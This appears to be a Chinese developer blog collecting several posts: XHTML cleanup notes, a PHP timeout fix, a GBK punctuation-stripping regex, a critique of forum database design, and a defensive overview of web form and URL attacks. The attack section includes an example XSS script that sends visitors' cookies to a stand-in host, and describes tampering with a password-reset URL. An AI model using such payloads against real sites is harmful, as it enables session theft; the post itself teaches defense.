以下所有内容都摘自《重构HTML这本书》,留在这里做个笔记。版权属于原作者。 1、将名称改为小写。所有的元素和属性的名称都要小写,大部分实体名称也要小写,当然设计大写字母的除外。 2、给所有的属性都加上引号。 3、补足遗漏的属性值。为所有不带属性值的属性加上属性值。如:<input type=”radio” checked>应该改成:<input type=”radio” checked=”checked”> 4、将空标签替换成空元素标签,如将<br>这样的元素替换为<br class=”empty” /> 5、添加结束标签。关闭所有的段落、清单项目、表格单元格和其他非空的元素 6、消除重叠,在父级元素上关闭每个子元素 7、把文本转换成UTF-8,因为他是唯一全平台支持的字符集 8、转义小于号,尽管有些浏览器有时候能够复原未转义的小于号,但并不是所有的浏览器都能。一个未转义的小于号更有可能导致浏览器中的内容被隐藏。就算你没有完全转换成XHTML,这也是一个需要修复的问题。 9、转义&符号,把&转换成&尽管大部分浏览器都可以处理空格后原始的&符号,但是如果没有空格会迷惑一小部分浏览器。未经转义的&符号会对读者隐藏。 10、替换虚构的实体引用,如将©right; 替换成&copy; 11、加入根元素,确保每个页面都一个html根元素。
解决file_get_contents的超时问题
file_get_contents一步就做完了打开,读取,关闭的三个动作,过程相当自动化,并且可以读取远程内容,非常方便,在网络状况差的情况下,可能会导致程序执行陷入停滞或者过慢,因为不停的重试和等待PHP进程本身的超时才会退出。晚上再次阅读了PHP手册,发现可以用一个比较变态的东西来解决,就是创建一个可以控制的资源句柄,通过控制资源句柄超时来控制file_get_contents这个方法的超时时间,使用起来很方便,也很简单。 $opts = array( ‘http’=array( ‘method’="GET", ‘timeout’=1, //设置超时,单位是秒,可以试0.1之类的float类型数字 ) ); $context = stream_context_create($opts); $contents = file_get_contents($url,false,$context); 得到内容之后该怎么处理就怎么处理了,关于tream_context_create这个方法的更多HTTP协议参数,请参见:HTTP context options,其他协议,请参见Context options and parameters Update 09-09-17: 我测试的时候使用的g.cn的首页,非常快,把timeout设置为1,没有超时的感觉,我以为是分钟为单位,感谢的Lightning$指正,单位是秒。
正则表达式匹配中文符号(GBK编码)
事实证明,网上的很多东西都是扯淡,不过原理还是有的,我碰到一个需求,给定一段文字中(GBK编码),去除所有符号,不相干符号,包括标点,日文片假名之类的,于是我在网上搜啊,搜啊,得到的结果要么就是错的,要么就根本好不相干,被抄袭得最厉害的是http://community.mybbchina.net/thread-212-post-507.html,可怜的作者,我也不知道这些人为什么抄这个,我就没测试成功过,连GBK的字符集区间都没弄清楚。 其实指定字符编码匹配中文很简单,GBK编码表中很明确的规定了所有的符号位置,而且刚好是一个区间,在维基百科上有详细的介绍,比如我要把类似 addd中华ds,#¥%…&((212))}}A■g民国ds中-啊国fjsd,【】啊Y 这样的字符串中所有非中文、英文、数字字符全部去除掉,姑且叫去除的字符为火星文,去除火星文的PHP写法为: preg_replace("/([\xA1-\xA9].{1}?)*?/", "", $str); 这样所有在全角状态下输入的非中文,英文和数字将被替换掉,如果还需要进一步处理英文状态下的,那就判断一下ASCII码值吧,或者你怕麻烦也可以把所有的都列出来,然后替换,可以参考下面,在网上找来的,非我写的,忘了出处了 /** * 清除所有常见标点符号 * @param $pointer * @return unknown_type */ function clear_point($pointer) { return str_replace ( array(’ ‘,"~","!","@","#","$","%","^","&","*",",",".","?",";",":","’",’"’," [", "]","{","}","!"," ¥","……","…","、",",","。","?",";",":","‘","“","”", "’"," 【","】","~","!","@","#","$","%","^","&","*",",","."," <", ">",";",":","'",""","[","]","{","}","/","\","《","》","-","_"), array(”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”, ”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”, ”,”,”,”,”,”,”,”,”,”,”,”,”,”), $pointer ); } 这个东西有更好的写法,而且全角状态的符号在之前已经过滤了,在此可删除,我懒,抛砖引玉吧
论坛程序设计的思考
新入公司,项目被老同志分的七七八八,系统还没有足够的熟悉,暂时清闲了几天,看了几天的代码,有面向对象的,更多的是面向过程的,这篇博文的title值得商榷的,反正我不知道该取什么名字,姑且唬人一下。 1)设计目标,任何软件都需要一个设计目标,比如目标用户,并发数等等,论坛这个东西实时性很强,同时在线人数一般不高,如果很高的话一般会自己做,或者请公司定制开发或优化。撑死了几千人同时在线,很多论坛的设计目标就是没有目标,看到好的功能和界面,拿过来,改改,堆上去,完事 2)模块划分,市面上的几个论坛软件大多还是沿用了N多年前的架构,面向过程,而且过程不清晰,虽然在用户后台看上去好像各个功能挺独立的,看看代码就知道,里面定义了一堆全局变量,更奇怪的是没有注释,还有好几个是没用的,代码重复率非常高,require来include去,绕啊,绕啊,我就晕了~~,功能模块都没能独立,更没法谈耦合和内聚了~ 3)数据库设计,这个挺有意思的,曾经“有幸”阅读过discuz不知道几点几版本的代码,里面的SQL写得令人毛骨悚然,不得不佩服写这个SQL语句程序员的数据库造诣之深,反正我是没写过,也写不出来,我的原则是,能一次查询的不做两次查,能不用jion的就坚决不用,discuz的表有上百个之多,phpwind更是超过150个,且有不断增加之趋势,清一色使用mysql,而且还是用的MYISAM引擎,好吧,1000个并发的时候,discuz 7是挂掉了,phpwind没测试过,暂时不评论。数据表设计时冗余是必要的,不一定非要遵循范式规则,过度随意就成了灾难,我看到数据库中居然有q1,q2,q3一直到q21这样的字段,通通都是int型的,而且绝大部分都是空的,浪费空间之严重令人非常惊讶,且不说这个命名十分之不友好,这个东西能这样做的么,假如真的需要21个同样类型的q这种东西,为啥不再分一张表,然后给个ID连接一下不就好了么,这仅仅是一个例子,N张表都能找到这样的例子。用户表是论坛的核心表之一,论坛有积分啊,签名啊,生日啊,等级啊,权限啊之类之类的,用户属性自然是多之又多,可是再多也不能全放一个表里,一个表里有六七十个属性,这像话么!!绝大部分属性普通用户都是空的,又是一个“占着茅坑不拉屎”的表设计,大部分用户注册时能不填的肯定不会填,就那么昵称啊,email啊,密码啊几个字段需要insert,至于牵动六七十个属性同时更改一遍么,myisam引擎insert是加的是表级锁的啊,郁闷,纵向拆分这张表! 4)错误处理,出错了,前面加个@好了,让别人都看不到就不会有什么问题了,嗯,这个似乎是可以防止因为出错信息而泄漏一些东西,可是总得让自己知道怎么回事啊,不然怎么解决呢,还好都有官方论坛可以去问,大多数时候管理员也不知道用户出了什么问题,只能靠猜,为什么不记录一个log呢?! 5)不想说了~~先把前面的改了再说……
表单及URL攻击的几种方法
有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。 1)表单数据泄漏攻击 这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:) 2)语义URL攻击 这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/private.php?user=abc&email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据 3)文件上传攻击 文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。 4)跨站脚本攻击 跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。 所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。 比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。 5)HTTP请求欺骗攻击 所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。 毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已